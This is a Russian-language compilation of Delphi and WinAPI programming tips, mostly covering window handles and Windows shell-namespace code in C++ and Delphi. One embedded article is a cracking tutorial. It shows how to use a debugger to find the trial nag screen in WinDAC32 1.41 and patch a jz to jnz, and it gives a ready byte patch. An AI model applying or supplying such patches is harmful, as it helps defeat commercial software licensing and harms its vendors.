При отсутствии у приложения окна - консольный проект. Если нужно работать быстро, а известно, что функции WinApi работают на порядок быстрее, чем стандартные классы Delphi. Работа с устройствами ввода - вывода. Многие вещи в Дельфи можно делать через только через дескриптор, например чтение сообщений из MailSlot, работа с процессами и thread и т.д. Что это такое?WINAPI - это набор фунций WINDOWS предоставляемый нам через стандартные библиотеки (kernel32.dll gdi.exe и т.д.). Раз эти библиотеки распространяются вместе с WINDOWS, следовательно их можно использовать на любых машинах (с этой платформой).
Хотя, следует оговориться, что та или иная библиотека может иметь различную версию. Но нам програмистам на Delphi по большей части это не важно.
ИспользованиеДля использования нужно в разделе uses добавить модуль windows. Внем то и описано большинство функций.
Создадим проект.
На форме разместим кнопку и поле ввода TEdit.
В обработчике события кнопки onClick запишем следующий код:
procedure Tform1.Button1onClick(Sender: TTobject);
var
h: cardinal;
begin
h := FindWindow(Edit1.Text, nil);
ShowWindow(h,
SW_MINIMIZE);
end;
Теперь откомпилируйте и запустите его. В поле ввода введите заголовок любого окна которое открыто у вас на рабочем столе (например "(Безимени) - Блокнот"). Нажмите кнопку и окно минимизируется.
Этот простой проет демонстрирует принцип работы с дескрипторами. Сначало его нужно получить у функции FindWindow, которая ищет окно по заголовку и возвращает его дескриптор. А потом следует передать его функции ShowWindow котрая с параметром SW_MINIMIZE минимизирует окно.
Краткий обзор завершен. Из всего вышеперечисленного следует, что WINAPI это не монстр, а обычная техника работы с фунциями, правда несколько специфическая.
Успешной работы.
Cracking WinDAC32 Version 1.41.
Оформил: DeeCo Автор: http://www.cracklab.narod.ru
Вот попалась мне сабжевая программа, которая копирует и оцифровывает звук с компактов на диск жесткий. Начял я её юзать и оказалось, что это триал версия, триал заканчивается через тридцать дней, полюс ко всему зарегить её никакими видимыми способыми нельзя, и ещё выскакивает сообщение при каждом запуске, что это триал и всё такое. Итак... после некоторых операций и проверок оказалось, что проверка на триальность отстутствует (Очень Умно с их стороны). Тут никаких упрёков быть не может - я качал прогу с официального места, там уже кракнутой быть не могло, хотя кто его знает??? Но осталось ещё NАGлое сообщение, которое оповещает, что мы юзаем триал. Запускаем программу и видим, что сообщение - обычный messagebox, хотя этого сразу утверждать нельзя, мало ли, всё возможно пока есть делфи :) Вобщем я захожу в айс (ctrl-d) и ставлю бряк на messageboxA: bpx MessageBoxA потом выхожу из айса и закрываю программу. Снова запускаем программу и тут же вываливаемся в айс, но не там (это системные библиотеки), чтобы оказаться там где надо нажимаем один раз на F11, молодцы! Теперь мы видим перед собой сообщение об триальности, нажимаем ОК и опять оказались в айсе:
00432AD6: call [user32!MessageBoxA] ; вот вызов сообщения 00432ADC: mov [esi], ebx 00432ADE: cmp dword ptr [ebp-04], 00 00432AE2: mov [ebp+0C], eaxТак! Теперь посмотрим, какие проверки перед созданием сообщения, для этого проскролим листинговое окно айса вверх (ctrl-up) на 7 строчек до этого места:
00432AC5: test eax,eax ; проверяем нужен ли мессажбокс 00432AC7: jz 00432ACC ; прыгаем, если не нужен 00432AC9: mov eax, [eax+1C] ; готовим данные для сообщения 00432ACC: push ..... 00432ACF: push ..... 00432AD2: push ..... 00432AD5: push eax ; закончили готовить данные для сообщения и сохранили eaxИтак, отсюда видно, что во второй строке условие появления сообщения. Чтобы сообщение убрать нужно поменять jz на jnz. !ДЛЯ людей, которые возмущены почему в триале я меняю jz на jnz: !после небольших исследований я понял, что функции проверки триальности нет, !либо её кто-то вырубил уже, либо автор гонит :) Я лично склоняюсь ко второму !Но это факт - переведите часы вперед и программа запустится, !как ни в чём не бывало! Т.е. в hex-варианте: 74 на 75. Как же это сделать: открываем программу в WDasm'e и дизассемблируем. Затем переходим по адресу 00432AC7 и затем окрываем программу в Qview и нажимаем F7 (поиск). В строке hex вводим как можно больше hex кода из WDasm'a по адресу 00432AC7! Это делается потому, что QView не всегда корректно отображает адреса увиденные в айсе, поэтому мы ищем нужную нам команду при помощи хекс обозначений из WDasm'a. Вобщем находим нужную строку и меняем jz на jnz , затем сохраняем изменения и программа кракнута. А для особо ленивых предлагаю готовый крак:
----------------вырезать тут------------ WinDAC32 crack by vallkor //PTDS This REmove the Nag message in begin WinDAC32.exe 00031EC7: 74 75 ----------------вырезать тут------------
Ps: ну надеюсь всем понятно, что статья написана только в ознакомительных целях и если вы решили таки юзать программу - купите её.
Исследовал и наваял туториал: vallkor //PTDS (vallkor@chat.ru) {Комманда PTDS нуждается в новых членах! Если вы считаете, что способны на многое и хотите поделиться своими знаниями и взамен получить новые пишите мне}.
Позиционирование диалога с сообщением над формой.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
const
mbMessage = WM_USER + 1024;
type
private
procedure ChangeMessageBoxPosition(var Msg: TMessage); message mbMessage;
end;
var
Form1: TForm1;
msgCaption: PChar; // variable to hold the caption
implementation
{$R *.DFM}
procedure TForm1.ChangeMessageBoxPosition(var Msg: TMessage);
var
MbHwnd: longword;
MbRect: TRect;
x, y, w, h: integer;
begin
MbHwnd := FindWindow(MAKEINTRESOURCE(WC_DIALOG), msgCaption);
if (MbHwnd <> 0) then
begin
GetWindowRect(MBHWnd, MBRect);
with MbRect do
begin
w := Right - Left;
h := Bottom - Top;
end;
// center horzontal
x := Form1.Left + ((Form1.Width - w) div 2);
// keep on screen
if x < 0 then
x := 0
else if x + w > Screen.Width then x := Screen.Width - w;
//center vertical
y := Form1.Top + ((Form1.Height - h) div 2);
// keep on screen
if y < 0 then y := 0
else if y + h > Screen.Height then y := Screen.Height - h;
// set new windows position
SetWindowPos(MBHWnd, 0, x, y, 0, 0, SWP_NOACTIVATE or SWP_NOSIZE or SWP_NOZORDER);
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
PostMessage(Handle, WM_USER + 1024, 0, 0);
msgCaption := 'Confirm';
MessageBox(Handle, 'Has our MessageBox moved ?', msgCaption,
MB_ICONQUESTION or MB_YESNO);
end;
TListView и TTreeView - Windows Explorer.
| Автор: Ray Konopka |
| Когда ваш компьютер говорит "Вставьте диск #2", не торопитесь, сначала выньте диск номер один... даже если вы уверены, что сможете засунуть туда оба. |
Как вы можете здесь видеть, ключем здесь является функция NodeAtIndex. Данный пример подразумевает наличие дочерних узлов и индексов, начиная с нуля. Так, если мы подразумеваем что был выбран родительский узел списка элементов, (что является безопасным предположением), то мы можем использовать данный узел как отправной пункт. Методы GetFirstChild и GetNextSibling "отправляют" вас к желаемому узлу.
function TFrmTipExplorer.NodeAtIndex(Index: Integer): TTreeNode;
var
I: Integer;
begin
Result := TreeView1.Selected.GetFirstChild;
for I := 0 to Index - 1 do
Result := Result.GetNextSibling;
end;
procedure TFrmTipExplorer.ListView1DblClick(Sender: TObject);
begin
TreeView1.Selected.Expand(False);
{ Выбираем узел дерева, соответствующий "щелканному" элементу списка }
NodeAtIndex(ListView1.Selected.Index).Selected := True;
end;
|
Пространство имён оболочки Windows.
| Автор: Акжан Абдулин |
| В свои 20 лет он знал 9 операционных систем и ни одной женщины. |
Ниже представлена функция, позволяющая получить указатель на следующий элемент в списке идентификаторов. В случае неудачи возвращается пустой указатель.
// C/C++
#include
LPITEMIDLIST GetNextItemID(const LPITEMIDLIST pidl)
{
size_t cb = pidl->mkid.cb;
if( cb == 0 )
{
return NULL;
}
pidl = (LPITEMIDLIST) (((LPBYTE) pidl) + cb);
if( pidl->mkid.cb == 0 )
{
return NULL;
}
return pidl;
}
|
// Delphi
uses ShlObj;
type
PByte = ^Byte;
function GetNextItemID(pidl: PItemIDList): PItemIDList;
var
cb: Integer;
begin
cb := pidl^.mkid.cb;
if cb = 0 then
begin
Result := nil;
Exit;
end;
pidl := PItemIDList ( Integer(PByte(pidl)) + cb );
if pidl^.mkid.cb = 0 then
begin
Result := nil;
Exit;
end;
Result := pidl;
end;
|
Ниже представлен пример копирования списка идентификаторов:
// C++
#include
size_t GetItemIDListSize(const LPITEMIDLIST pidl)
{
size_t size = 0;
LPBYTE p = LPBYTE(pidl);
while( p != NULL )
{
if( static_cast(p + size)->mkid.cb == 0 )
{
size += sizeof( USHORT ); // size of terminator;
break;
}
size += static_cast(p + size)->mkid.cb;
}
return size;
}
LPITEMIDLIST CopyItemIDList(const LPITEMIDLIST pidl)
{
LPMALLOC pMalloc;
LPITEMIDLIST pidlResult;
if( pidl == NULL )
{
return NULL;
}
if( ! SUCCEEDED(SHGetMalloc(& pMalloc))
{
return NULL;
}
size_t size = GetItemIDListSize(pidl);
pidlResult = pMalloc->Alloc( size );
if( pidlResult != NULL )
{
CopyMemory( pidlResult, pidl, size );
}
pMalloc->Release();
return pidlResult;
}
|
// Delphi
uses Windows, ActiveX, ShlObj;
type
PByte = ^Byte;
function GetItemIDListSize(pidl: PItemIDList): Integer;
var
p: PChar;
begin
Result := 0;
p := PChar(pidl);
while p <> nil do
begin
if PItemIDList(p + Result)^.mkid.cb = 0 then
begin
Inc( Result, sizeof(Word) ); // size of terminator;
break;
end;
Inc( Result, PItemIDList(p + Result)^.mkid.cb );
end;
end;
function CopyItemIDList(pidl: PItemIDList): PItemIDList;
var
pMalloc: IMalloc;
size: Integer;
begin
Result := nil;
if not Assigned( pidl ) then
begin
Exit;
end;
if not SUCCEEDED(SHGetMalloc(pMalloc)) then
begin
Exit;
end;
size := GetItemIDListSize(pidl);
Result := pMalloc.Alloc( size );
if Assigned(Result) then
begin
CopyMemory( Result, pidl, size );
end;
pMalloc := nil; // Interface reference releasing
// will be proceed automatically
// by assigning a nil value
end;
|
Интерфейс IShellFolder предоставляет метод CompareIDs для определения расположения двух идентификаторов относительно друг друга (выше, ниже или равны) в данной папке. При этом параметр lParam определяет критерий упорядочивания, но заранее определённым для всех объектов-папок является только сортировка по имени (значение 0). Если вызов этого метода завершён успешно, то поле CODE возвращаемого значения содержит ноль при равенстве объектов, отрицательно, если первое меньше второго, и положительно в обратном случае.
// C/C++
hr = ppsf->CompareIDs(0, pidlA, pidlB);
if( SUCCEEDED(hr) )
{
iComparisonResult = short(HRESULT_CODE(hr))
}
|
// Delphi
function HRESULT_CODE(hr: HRESULT): Word;
begin
Result := Word(LongWord(hr) and $FFFF)
end;
hr := ppsf.CompareIDs(0, pidlA, pidlB);
if Succeeded(hr) then
begin
iComparisonResult := Shortint(HRESULT_CODE(hr));
end;
|
Для указания необходимой специальной папки функции SHGetSpecialFolderLocation и SHGetSpecialFolderPath принимают в качестве параметра одно из ниже указанных значений:
CSIDL_DESKTOP Рабочий стол (Desktop) для данного пользователя; Виртуальная папка, являющаяся корнем основного пространства имён оболочки CSIDL_INTERNET Интернет (Internet); Виртуальная папка, представляющая пространство Internet CSIDL_PROGRAMS Программы (Programs) для данного пользователя; Каталог файловой системы, содержащий в себе группы программ пользователя, также являющиеся каталогами файловой системы CSIDL_CONTROLS Панель управления (Control Panel); Виртуальная папка, содержащая в себе набор иконок панели управления CSIDL_PRINTERS Принтеры (Printers); Виртуальная папка, содержащая в себе инсталлированные принтеры CSIDL_PERSONAL Мои документы (My Documents); Каталог файловой системы, служащий общим репозиторием для документов CSIDL_FAVORITES Избранное (Favorites) для данного пользователя; Каталог файловой системы, служащий общим репозиторием избранных пользователем элементов CSIDL_STARTUP Автозагрузка (Startup) для данного пользователя; Каталог файловой системы, который является пользовательской папкой программ "Автозагрузка". Система запускает эти программы каждый раз, когда данный пользователь входит в Windows NT, или когда стартует Windows 95/98 CSIDL_RECENT Документы (Documents); Каталог файловой системы, содержащий в себе ссылки на самые последние документы, с которыми недавно работал пользователь CSIDL_SENDTO Отправить (Send To); Каталог файловой системы, содержащий в себе пункты меню Send To CSIDL_BITBUCKET Корзина (Recycle Bin); CSIDL_STARTMENU Главное меню (Start menu) для данного пользователя; Каталог файловой системы, содержащий в себе пункты меню Start CSIDL_DESKTOPDIRECTORY Каталог файловой системы, хранящий файловые объекты Рабочего стола (Desktop directory) для данного пользователя; CSIDL_DRIVES Мой компьютер (My computer); Виртуальная папка, содержащая в себе всё, что находится на локальном компьютере: устройства хранения, принтеры и панель управления. Эта папка может также содержать в себе спроецированные сетевые диски CSIDL_NETWORK Сетевое окружение (Network Neighborhood); Виртуальная папка, представляющая верхний уровень иерархии сети CSIDL_NETHOOD Каталог файловой системы, хранящий файловые объекты Сетевого окружения (Network Neighborhood); CSIDL_FONTS Шрифты (Fonts); Виртуальная папка, содержащая шрифты CSIDL_TEMPLATES Шаблоны (Templates); Каталог файловой системы, служащий общим репозиторием шаблонов документов (пункт контекстного меню оболочки "Создать") CSIDL_COMMON_STARTMENU Каталог файловой системы, содержащий в себе общие пункты меню Start, которые появляются у всех пользователей; CSIDL_COMMON_PROGRAMS Каталог файловой системы, содержащий в себе общие группы программ пользователя, которые появляются у всех пользователей; CSIDL_COMMON_STARTUP Каталог файловой системы, содержащий в себе общие программы, которые появляются в папке Startup для всех пользователей; CSIDL_COMMON_DESKTOPDIRECTORY Каталог файловой системы, хранящий общие файловые объекты Рабочего стола (Desktop directory), которые появляются на рабочих столах всех пользователей; CSIDL_APPDATA Каталог файловой системы, служащий общим репозиторием данных, специфичных для приложения; CSIDL_PRINTHOOD Каталог файловой системы, служащий общим репозиторием ссылок на принтеры; CSIDL_ALTSTARTUP Каталог файловой системы, который является нелокализованной пользовательской папкой программ "Автозагрузка". CSIDL_COMMON_ALTSTARTUP Каталог файловой системы, содержащий в себе общие программы, которые появляются в нелокализованной папке Startup для всех пользователей; CSIDL_COMMON_FAVORITES Каталог файловой системы, содержащий в себе общие избранные элементы, которые появляются в папке "Избранное" у всех пользователей; CSIDL_INTERNET_CACHE Каталог файловой системы, служащий общим репозиторием для временного хранения файлов, кэшируемых при работе с Internet; CSIDL_COOKIES Каталог файловой системы, служащий общим репозиторием для Internet Cookies; CSIDL_HISTORY Каталог файловой системы, служащий общим репозиторием для хранения истории работы с Internet; CSIDL_PROGRAM_FILES Версия 5.00. Каталог файловой системы, в котором должны располагаться программные продукты; CSIDL_PROGRAM_FILES_COMMON Версия 5.00. Каталог файловой системы, в котором должны располагаться компоненты, общие для группы продуктов. Необходимо отметить, что эти функции недавно были выделены в отдельную библиотеку - shfolder.dll. Функция SHBrowseForFolder позволяет ограничить видимое пространство имён, задав в поле pidlRoot корневую папку, с которой будет идти просмотр (по умолчанию - "Рабочий стол"), и указав типы объектов, которые приемлемы в качестве выбранных, в поле ulFlags.Описание флагов, которые допустимы в поле ulFlags: BIF_BROWSEFORCOMPUTER В качестве выбора допустимы только компьютеры.
BIF_BROWSEFORPRINTER В качестве выбора допустимы только принтеры. BIF_BROWSEINCLUDEFILES В диалоговом окне, помимо папок, будут также представлены и файлы. BIF_DONTGOBELOWDOMAIN Не показывать сетевые папки, расположенные ниже уровня домена. BIF_EDITBOX Версия 4.71. В диалоговом окне будет присутствовать строка редактирования, таким образом пользователь может набрать имя элемента. BIF_RETURNFSANCESTORS В качестве выбора допустимы только объекты, представленные в файловой системе. BIF_RETURNONLYFSDIRS В качестве выбора допустимы только каталоги файловой системы. BIF_STATUSTEXT В диалоговом окне появится строка статуса, функция обратного вызова сожет устанавливать текст в этой строке с помощью посылки сообщений диалоговому окну. BIF_VALIDATE Версия 4.71. Если пользователь введёт неверное имя в строке редактирования, то диалоговое окно вызовет функцию обратного вызова приложения по сообщению BFFM_VALIDATEFAILED.Ниже представлен пример работы с функцией SHBrowseForFolder на Delphi. Очень часто приложение использует функцию обратного вызова, чтобы указать исходную папку для просмотра. Здесь мы будем использовать механизм обратного вызова именно для этой цели, а та кже для того, чтобы установить некий текст при инициализации диалога:
// Delphi
(*
* Эта программа показывает на экране диалог выбора папки,
* где корнем дерева им¸н служит папка "Мой компьютер", а текущим
* каталогом - папка "Файлы программ".
*)
program ShellD;
uses
SysUtils, Windows, ActiveX, ShlObj;
var
Malloc: IMalloc;
Desktop: IShellFolder;
pidlMyComputer: PItemIDList;
pidlResult: PItemIDList;
pidlInitialFolder: PItemIDList;
function BrowseCallbackProc( hWnd: HWND; uMsg: UINT; lParam: LPARAM;
lpData: LPARAM ): Integer; stdcall; // обратите внимание на соглашение о вызовах -
// stdcall
begin
Result := 0;
case uMsg of
BFFM_INITIALIZED:
begin
PostMessage( hWnd, BFFM_SETSELECTION, 0, Integer(pidlInitialFolder) );
PostMessage( hWnd, BFFM_SETSTATUSTEXT, 0,
Integer(PChar('Функция обратного вызова установлена.')) );
end;
end;
end;
function GetProgramFilesDirByKeyStr(KeyStr: string): string;
var
dwKeySize: DWORD;
Key: HKEY;
dwType: DWORD;
begin
if
RegOpenKeyEx( HKEY_LOCAL_MACHINE, PChar(KeyStr), 0, KEY_READ, Key ) = ERROR_SUCCESS
then
try
RegQueryValueEx( Key, 'ProgramFilesDir', nil, @dwType, nil, @dwKeySize );
if (dwType in [REG_SZ, REG_EXPAND_SZ]) and (dwKeySize > 0) then
begin
SetLength( Result, dwKeySize );
RegQueryValueEx( Key, 'ProgramFilesDir', nil, @dwType, PByte(PChar(Result)),
@dwKeySize );
end
else
begin
RegQueryValueEx( Key, 'ProgramFilesPath', nil, @dwType, nil, @dwKeySize );
if (dwType in [REG_SZ, REG_EXPAND_SZ]) and (dwKeySize > 0) then
begin
SetLength( Result, dwKeySize );
RegQueryValueEx( Key, 'ProgramFilesPath', nil, @dwType, PByte(PChar(Result)),
@dwKeySize );
end;
end;
finally
RegCloseKey( Key );
end;
end;
// Here is old way to retrieve Program Files folder location,
// Modern way is using of SHGetSpecialFolder (shfolder.dll) with
// CSIDL_PROGRAM_FILES constant.
function GetProgramFilesDir: string;
const
DefaultProgramFilesDir = '%SystemDrive%\Program Files';
var
FolderName: string;
dwStrSize: DWORD;
begin
if Win32Platform = VER_PLATFORM_WIN32_NT then
begin
FolderName :=
GetProgramFilesDirByKeyStr('Software\Microsoft\Windows NT\CurrentVersion');
end;
if Length(FolderName) = 0 then
begin
FolderName :=
GetProgramFilesDirByKeyStr('Software\Microsoft\Windows\CurrentVersion');
end;
if Length(FolderName) = 0 then FolderName := DefaultProgramFilesDir;
dwStrSize := ExpandEnvironmentStrings( PChar(FolderName), nil, 0 );
SetLength( Result, dwStrSize );
ExpandEnvironmentStrings( PChar(FolderName), PChar(Result), dwStrSize );
end;
var
bi: TBrowseInfo;
DisplayName: string;
ProgramFilesDir: WideString;
CharsDone: ULONG;
dwAttributes: DWORD;
Temp: string;
begin
ProgramFilesDir := GetProgramFilesDir;
// acquire shell's allocator
if SUCCEEDED( SHGetMalloc( Malloc ) ) then
try
// acquire shell namespace root folder
if SUCCEEDED( SHGetDesktopFolder( Desktop ) ) then
try
// acquire folder that will serve as root in dialog
if SUCCEEDED( SHGetSpecialFolderLocation( 0, CSIDL_DRIVES, pidlMyComputer ) ) then
try
// acquire PIDL for folder that will be selected by default
if
SUCCEEDED(
Desktop.ParseDisplayName( 0, nil, PWideChar(ProgramFilesDir), CharsDone,
pidlInitialFolder, dwAttributes )
)
then
try
SetLength( DisplayName, MAX_PATH );
FillChar( bi, sizeof(bi), 0 );
bi.pidlRoot := pidlMyComputer; // roots from 'My Computer'
bi.pszDisplayName := PChar( DisplayName );
bi.lpszTitle := PChar('Выберите папку');
bi.ulFlags := BIF_STATUSTEXT;
bi.lpfn := BrowseCallbackProc;
pidlResult := SHBrowseForFolder( bi );
if Assigned(pidlResult) then
try
SetLength( Temp, MAX_PATH );
if SHGetPathFromIDList( pidlResult, PChar(Temp) ) then
begin
DisplayName := Temp;
end;
DisplayName := Trim(DisplayName) + '.';
MessageBox( 0, PChar(DisplayName), 'Вы успешно выбрали папку',
MB_OK or MB_ICONINFORMATION );
finally
Malloc.Free( pidlResult ); // release returned value
end;
finally
Malloc.Free( pidlInitialFolder ); // release PIDL for folder that
// was selected by default
end;
finally
Malloc.Free( pidlMyComputer ); // release folder that was served as root in dialog
end;
finally
Desktop := nil; // release shell namespace root folder
end;
finally
Malloc := nil; // release shell's allocator
end;
end.
|
Описание методов интерфейса IEnumIDList:
Clone Создаёт новый объект-итератор, идентичный данному; Next Восстанавливает указанное количество идентификаторов элементов, находящихся в папке; Reset Возвращает итератор к началу последовательности; Skip Пропускает указанное количество элементов; Таким образом Вы сможете получить набор указателей на списки идентификаторов, причём эти списки будут относительными по отношению к папке-владельцу. Чтобы получить интерфейс IShellFolder для любого из этих объектов, Вам потребуется осуществить привязку, вызвав метод BindToObject интерфейса IShellFolder папки-владельца.Чтобы узнать атрибуты данного объекта или нескольких объектов, необходимо вызвать метод GetAttributesOf интерфейса IShellFolder папки-владельца. При этом перед вызовом этого метода необходимо установить те атрибуты, значения которых Вы бы хотели выяснить. Если запрошены атрибуты нескольких элементов, то метод вернёт только те значения атрибутов, которые совпадают у всех переданных элементов. В частности, Вы сможете взять интерфейс IShellFolder только от тех объектов, которые имеют атрибут SFGAO_FOLDER. Вы можете обновить информацию об элементах, входящих в папку, использовав флаг SFGAO_VALIDATE. Ниже представлен пример навигации по основному пространству имён:
// C++ with Microsoft extensions
// Это консольное приложение печатает на стандартный вывод дерево папок
// основного пространства имён оболочки Windows.
#define _WIN32_DCOM
#include
#include
#include
#include
using namespace std;
// Эта процедура производит вывод строки, попутно
// конвертируя её из кодировки ANSI в кодировку OEM.
void WriteStr(const char * s)
{
char * s1 = strdup( s );
CharToOemBuff( s1, s1, strlen(s1) );
cout << s1;
free( reinterpret_cast( s1 ) );
}
// Эта процедура производит вывод указанного
// количества символов, попутно конвертируя их из кодировки ANSI
// в кодировку OEM.
void WriteChar(char ch, size_t count)
{
CharToOemBuff( &ch, &ch, 1 );
for(int i=0; i < count; i++) cout << ch;
}
// Эта процедура производит вывод строки, попутно
// конвертируя её из кодировки ANSI в кодировку OEM.
// Эта процедура также добавляет перевод каретки по окончании вывода.
void WritelnStr(const char * s)
{
WriteStr( s );
cout << "\n";
}
LPMALLOC pMalloc = NULL;
HRESULT hr;
// Эта процедура интерпретирует содержание структуры STRRET.
// Также она освобождает временные буфера при необходимости, так что
// для её корректной работы требуется наличие объекта pMalloc.
// После завершения работы с возвращаемым именем необходимо освободить буфер
// с помощью процедуры ::free.
char * GetDisplayName( LPCITEMIDLIST pidl, const STRRET& value )
{
char * result = NULL;
switch( value.uType )
{
case STRRET_CSTR:
result = strdup( value.cStr );
break;
case STRRET_WSTR:
{
int iSize = WideCharToMultiByte( CP_THREAD_ACP, 0, value.pOleStr, -1, NULL, 0, NULL, NULL );
result = (char *)malloc(iSize);
WideCharToMultiByte( CP_THREAD_ACP, 0, value.pOleStr, -1, result, iSize, NULL, NULL );
pMalloc->Free( value.pOleStr );
}
break;
case STRRET_OFFSET:
result = strdup( PSTR( PBYTE(pidl) + value.uOffset ) );
break;
}
return result;
}
int Level = 0;
// Основная процедура выполняет рекурсивный просмотр структуры папок, начиная с данной.
// Она выводит имена элементов, попутно отслеживая отступы.
void ShowFolder( LPSHELLFOLDER folder )
{
LPITEMIDLIST pidlChild;
STRRET Value;
LPENUMIDLIST Iterator;
ULONG celtFetched;
LPSHELLFOLDER child;
hr = folder->EnumObjects( NULL /* no owner window */, SHCONTF_FOLDERS | SHCONTF_INCLUDEHIDDEN, &Iterator );
if( SUCCEEDED( hr ) )
__try
{
Level++;
for(;;)
{
hr = Iterator->Next( 1, &pidlChild, &celtFetched );
if( hr != NOERROR ) break;
__try
{
hr = folder->GetDisplayNameOf( pidlChild, SHGDN_INFOLDER | SHGDN_INCLUDE_NONFILESYS, &Value );
if( SUCCEEDED( hr ) )
{
char * s = GetDisplayName( pidlChild, Value );
WriteChar( ' ', Level );
WritelnStr( s );
free( reinterpret_cast( s ) );
}
hr = folder->BindToObject( pidlChild, NULL, IID_IShellFolder, (void**)&child );
if( SUCCEEDED( hr ) )
__try
{
ShowFolder( child );
}
__finally
{
child->Release();
}
}
__finally
{
pMalloc->Free( pidlChild );
}
}
Level--;
}
__finally
{
Iterator->Release();
}
}
LPSHELLFOLDER desktop = NULL;
ITEMIDLIST itemidlist = { { 0 } };
LPITEMIDLIST pidlItself = & itemidlist; // This pidl now points to an empty Identifier List.
// It is point to owner folder itself.
// NB: It works only for a root folder!
STRRET Value;
// Основное тело программы выполняет необходимую инициализацию, затем
// восстанавливает имя корневой папки, выводит его, и обращается к ShowFolder для выполнения рекурсии.
void main( int argc, char *argv[])
{
hr = CoInitializeEx( NULL, COINIT_MULTITHREADED );
if( SUCCEEDED( hr ) )
__try
{
hr = SHGetMalloc( &pMalloc );
if( SUCCEEDED( hr ) )
__try
{
hr = SHGetDesktopFolder( &desktop );
if( SUCCEEDED( hr ) )
__try
{
hr = desktop->GetDisplayNameOf( pidlItself, SHGDN_NORMAL | SHGDN_INCLUDE_NONFILESYS, &Value );
if( SUCCEEDED( hr ) )
{
char * sTempName = GetDisplayName( pidlItself, Value );
WritelnStr( sTempName );
free( reinterpret_cast(sTempName) );
}
ShowFolder( desktop );
}
__finally
{
desktop->Release();
}
}
__finally
{
pMalloc->Release();
}
}
__finally
{
CoUninitialize();
}
}
|
// Delphi
program ShellA;
// Это консольное приложение печатает на стандартный вывод дерево папок
// основного пространства им¸н оболочки Windows.
uses
Windows, ActiveX, ShlObj;
{$APPTYPE CONSOLE}
// Эта процедура производит вывод строки, попутно
// конвертируя е¸ из кодировки ANSI в кодировку OEM.
procedure WriteStr(s: string);
begin
UniqueString( s );
CharToOemBuff( PChar(s), PChar(s), Length(s) );
Write(s);
end;
// Эта процедура производит вывод указанного
// количества символов, попутно конвертируя их из кодировки ANSI
// в кодировку OEM.
procedure WriteChars(Ch: char; Count: Integer);
var
s: string;
begin
CharToOemBuff( @Ch, @Ch, 1 );
s := StringOfChar(Ch, Count);
Write( s );
end;
// Эта процедура производит вывод строки, попутно
// конвертируя е¸ из кодировки ANSI в кодировку OEM.
// Эта процедура также добавляет перевод каретки по окончании вывода.
procedure WritelnStr(const s: string);
begin
WriteStr( s + #13#10 );
end;
var
pMalloc: IMalloc;
hr: HRESULT;
// Эта процедура интерпретирует содержание структуры STRRET.
// Также она освобождает временные буфера при необходимости, так что
// для е¸ корректной работы требуется наличие объекта pMalloc.
function GetDisplayName( pidl: PItemIDList; const Value: STRRET ): string;
begin
with Value do
case uType of
STRRET_CSTR: Result := PChar(@cStr[0]);
STRRET_WSTR:
begin
Result := pOleStr;
pMalloc.Free( pOleStr );
end;
STRRET_OFFSET: Result := PChar( LongWord(pidl) + uOffset );
end;
end;
var
Level: Integer;
// Основная процедура выполняет рекурсивный просмотр структуры папок, начиная с данной.
// Она выводит имена элементов, попутно отслеживая отступы.
procedure ShowFolder(folder: IShellFolder);
var
pidlChild: PItemIDList;
Value: STRRET;
Iterator: IEnumIDList;
celtFetched: ULONG;
child: IShellFolder;
begin
hr := folder.EnumObjects( 0 (* no owner window *), SHCONTF_FOLDERS or SHCONTF_INCLUDEHIDDEN, Iterator );
if Succeeded( hr ) then
try
Inc(Level);
while true do
begin
hr := Iterator.Next( 1, pidlChild, celtFetched );
if hr <> NOERROR then Break;
try
hr := folder.GetDisplayNameOf( pidlChild, SHGDN_INFOLDER or SHGDN_INCLUDE_NONFILESYS, Value );
if Succeeded( hr ) then
begin
WriteChars( ' ', Level );
WritelnStr( GetDisplayName( pidlChild, Value ) );
end;
hr := folder.BindToObject( pidlChild, nil, IID_IShellFolder, Pointer(child) );
if Succeeded( hr ) then
try
ShowFolder( child );
finally
child := nil;
end;
finally
pMalloc.Free( pidlChild );
end;
end;
Dec(Level);
finally
Iterator := nil;
end;
end;
var
desktop: IShellFolder;
mkid: SHITEMID;
pidlItself: PItemIDList;
Value: STRRET;
// Основное тело программы выполняет необходимую инициализацию, затем
// восстанавливает имя корневой папки, выводит его, и обращается к ShowFolder для выполнения рекурсии.
begin
Level := 0;
mkid.cb := 0;
pidlItself := @mkid; // This pidl now points to an empty Identifier List. It is points to owner folder itself.
// NB: It works only for a root folder!
hr := CoInitializeEx( nil, COINIT_MULTITHREADED );
if Succeeded( hr ) then
try
hr := SHGetMalloc( pMalloc );
if Succeeded( hr ) then
try
hr := SHGetDesktopFolder( desktop );
if Succeeded( hr ) then
try
hr := desktop.GetDisplayNameOf( pidlItself, SHGDN_NORMAL or SHGDN_INCLUDE_NONFILESYS, Value );
if Succeeded( hr ) then
begin
WritelnStr( GetDisplayName( pidlItself, Value ) );
end;
ShowFolder( desktop );
finally
desktop := nil;
end;
finally
pMalloc := nil;
end;
finally
CoUninitialize;
end;
end.
|
Вы можете указать один из следующих требующихся форматов:
SHGDN_NORMAL Обычный формат представления; SHGDN_INFOLDER Формат представления относительно данной папки; SHGDN_INCLUDE_NONFILESYS Приложение заинтересовано в именах элементов всех типов. Если этот флаг не установлен, то приложение заинтересовано лишь в тех элементах, которые представляют часть файловой системы. Если этот флаг не установлен, и элемент не пред ставляет собой часть файловой системы, то этот метод может быть выполнен неудачно; SHGDN_FORADDRESSBAR Имя будет использовано для показа в адресном комбобоксе; SHGDN_FORPARSING Формат представления, используемый для дальнейшего разбора имени; Имя элемента, полученное с установленным флагом SHGDN_FORPARSING, имеет особое значение. Вы можете использовать такое имя как командную строку для запуска приложения. Говоря точнее - такое имя эквивалентно понятию пути файловой системы. Интерфейс IShellFolder предоставляет метод SetNameOf, позволяющий изменить экранное имя файлового объекта или вложенной папки. Изменяя экранное имя элемента, Вы изменяете его идентификатор, поэтому функция возвращает PIDL-указатель на новый идентификатор. Изменение экранного имени файлового объекта приводит к его фактическому переименованию в файловой системе. Интерфейс IShellFolder также предоставляет метод ParseDisplayName, который позволяет узнать идентификатор элемента по его имени. Этому методу необходимо передавать имя, сгенерированное методом GetDisplayNameOf с установленным флагом SHGDN_FORPARSING. С помощью глобального метода SHGetPathFromIDList по списку идентификаторов, определяющих объект относительно корня пространства имён, можно определить путь к объекту файловой системы. С помощью глобального метода SHAddToRecentDocs Ваше приложение может добавить документ к списку последних, с которыми работал пользователь, или очистить этот список.С помощью глобального метода SHEmptyRecycleBin, появившегося в версии 4.71 оболочки Windows, Ваше приложение 